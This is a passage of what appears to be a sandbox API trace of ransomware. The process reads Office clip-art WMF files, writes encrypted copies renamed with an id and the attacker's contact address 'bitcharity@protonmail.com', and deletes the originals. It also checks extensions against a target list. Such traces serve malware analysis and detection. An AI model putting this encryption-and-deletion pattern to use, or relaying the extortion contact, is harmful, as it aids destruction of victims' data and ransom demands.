returned 1 [0299.231] CloseHandle (hObject=0x10a0) returned 1 [0299.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x220 [0299.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0299.231] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.231] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0299.232] GetLastError () returned 0x0 [0299.232] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x34e2, lpOverlapped=0x0) returned 1 [0299.611] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x34f0, lpOverlapped=0x0) returned 1 [0299.613] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.613] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.613] SetEndOfFile (hFile=0x109c) returned 1 [0299.613] CloseHandle (hObject=0x109c) returned 1 [0299.613] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.613] SetEndOfFile (hFile=0x10a0) returned 1 [0299.614] CloseHandle (hObject=0x10a0) returned 1 [0299.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.614] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0299.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0299.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0299.615] lstrlenW (lpString=".doc") returned 4 [0299.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.615] lstrlenW (lpString=".docx") returned 5 [0299.615] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.615] lstrlenW (lpString=".pdf") returned 4 [0299.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.615] lstrlenW (lpString=".xls") returned 4 [0299.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.615] lstrlenW (lpString=".xlsx") returned 5 [0299.615] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.615] lstrlenW (lpString=".ppt") returned 4 [0299.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0299.615] lstrlenW (lpString=".zip") returned 4 [0299.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.615] lstrlenW (lpString=".rar") returned 4 [0299.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.615] lstrlenW (lpString=".bz2") returned 4 [0299.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.615] lstrlenW (lpString=".7z") returned 3 [0299.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0299.615] lstrlenW (lpString=".dbf") returned 4 [0299.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0299.616] lstrlenW (lpString=".1cd") returned 4 [0299.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0299.616] lstrlenW (lpString=".jpg") returned 4 [0299.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0299.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0299.616] lstrlenW (lpString=".doc") returned 4 [0299.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.616] lstrlenW (lpString=".docx") returned 5 [0299.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.616] lstrlenW (lpString=".pdf") returned 4 [0299.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.616] lstrlenW (lpString=".xls") returned 4 [0299.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.616] lstrlenW (lpString=".xlsx") returned 5 [0299.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.616] lstrlenW (lpString=".ppt") returned 4 [0299.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0299.616] lstrlenW (lpString=".zip") returned 4 [0299.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.616] lstrlenW (lpString=".rar") returned 4 [0299.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.616] lstrlenW (lpString=".bz2") returned 4 [0299.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.616] lstrlenW (lpString=".7z") returned 3 [0299.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0299.617] lstrlenW (lpString=".dbf") returned 4 [0299.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0299.617] lstrlenW (lpString=".1cd") returned 4 [0299.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0299.617] lstrlenW (lpString=".jpg") returned 4 [0299.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.617] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.617] lstrlenW (lpString="HH00681_.WMF") returned 12 [0299.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0299.617] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=9300) returned 1 [0299.617] CloseHandle (hObject=0x10a0) returned 1 [0299.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x220 [0299.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0299.618] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.618] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0299.618] GetLastError () returned 0x0 [0299.618] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x2454, lpOverlapped=0x0) returned 1 [0299.719] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x2460, lpOverlapped=0x0) returned 1 [0299.988] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.988] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.988] SetEndOfFile (hFile=0x109c) returned 1 [0299.988] CloseHandle (hObject=0x109c) returned 1 [0299.988] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.988] SetEndOfFile (hFile=0x10a0) returned 1 [0299.989] CloseHandle (hObject=0x10a0) returned 1 [0299.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0299.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0299.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0299.990] lstrlenW (lpString=".doc") returned 4 [0299.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.990] lstrlenW (lpString=".docx") returned 5 [0299.990] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.990] lstrlenW (lpString=".pdf") returned 4 [0299.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.990] lstrlenW (lpString=".xls") returned 4 [0299.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.990] lstrlenW (lpString=".xlsx") returned 5 [0299.990] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.990] lstrlenW (lpString=".ppt") returned 4 [0299.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0299.990] lstrlenW (lpString=".zip") returned 4 [0299.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.990] lstrlenW (lpString=".rar") returned 4 [0299.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.990] lstrlenW (lpString=".bz2") returned 4 [0299.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.990] lstrlenW (lpString=".7z") returned 3 [0299.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0299.990] lstrlenW (lpString=".dbf") returned 4 [0299.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0299.990] lstrlenW (lpString=".1cd") returned 4 [0299.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0299.991] lstrlenW (lpString=".jpg") returned 4 [0299.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0299.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0299.991] lstrlenW (lpString=".doc") returned 4 [0299.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.991] lstrlenW (lpString=".docx") returned 5 [0299.991] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.991] lstrlenW (lpString=".pdf") returned 4 [0299.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.991] lstrlenW (lpString=".xls") returned 4 [0299.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.991] lstrlenW (lpString=".xlsx") returned 5 [0299.991] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.991] lstrlenW (lpString=".ppt") returned 4 [0299.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0299.991] lstrlenW (lpString=".zip") returned 4 [0299.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.991] lstrlenW (lpString=".rar") returned 4 [0299.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.991] lstrlenW (lpString=".bz2") returned 4 [0299.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.991] lstrlenW (lpString=".7z") returned 3 [0299.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0299.991] lstrlenW (lpString=".dbf") returned 4 [0299.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0299.991] lstrlenW (lpString=".1cd") returned 4 [0299.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0299.992] lstrlenW (lpString=".jpg") returned 4 [0299.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.992] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.992] lstrlenW (lpString="HH00688_.WMF") returned 12 [0299.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0299.992] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=7084) returned 1 [0299.992] CloseHandle (hObject=0x10a0) returned 1 [0299.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220 [0299.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0299.993] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.993] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0299.993] GetLastError () returned 0x0 [0299.993] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x1bac, lpOverlapped=0x0) returned 1 [0300.108] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0300.283] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.283] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.283] SetEndOfFile (hFile=0x109c) returned 1 [0300.283] CloseHandle (hObject=0x109c) returned 1 [0300.283] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.284] SetEndOfFile (hFile=0x10a0) returned 1 [0300.284] CloseHandle (hObject=0x10a0) returned 1 [0300.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0300.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0300.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0300.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0300.285] lstrlenW (lpString=".doc") returned 4 [0300.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.285] lstrlenW (lpString=".docx") returned 5 [0300.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.285] lstrlenW (lpString=".pdf") returned 4 [0300.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.285] lstrlenW (lpString=".xls") returned 4 [0300.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.285] lstrlenW (lpString=".xlsx") returned 5 [0300.285] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.285] lstrlenW (lpString=".ppt") returned 4 [0300.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0300.285] lstrlenW (lpString=".zip") returned 4 [0300.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.285] lstrlenW (lpString=".rar") returned 4 [0300.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.286] lstrlenW (lpString=".bz2") returned 4 [0300.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.286] lstrlenW (lpString=".7z") returned 3 [0300.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0300.286] lstrlenW (lpString=".dbf") returned 4 [0300.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0300.286] lstrlenW (lpString=".1cd") returned 4 [0300.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0300.286] lstrlenW (lpString=".jpg") returned 4 [0300.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0300.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0300.286] lstrlenW (lpString=".doc") returned 4 [0300.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.286] lstrlenW (lpString=".docx") returned 5 [0300.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.286] lstrlenW (lpString=".pdf") returned 4 [0300.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.286] lstrlenW (lpString=".xls") returned 4 [0300.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.286] lstrlenW (lpString=".xlsx") returned 5 [0300.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.286] lstrlenW (lpString=".ppt") returned 4 [0300.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0300.286] lstrlenW (lpString=".zip") returned 4 [0300.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.287] lstrlenW (lpString=".rar") returned 4 [0300.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.287] lstrlenW (lpString=".bz2") returned 4 [0300.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.287] lstrlenW (lpString=".7z") returned 3 [0300.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0300.287] lstrlenW (lpString=".dbf") returned 4 [0300.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0300.287] lstrlenW (lpString=".1cd") returned 4 [0300.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0300.287] lstrlenW (lpString=".jpg") returned 4 [0300.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.287] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0300.287] lstrlenW (lpString="HH01058_.WMF") returned 12 [0300.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0300.288] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=2756) returned 1 [0300.288] CloseHandle (hObject=0x10a0) returned 1 [0300.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 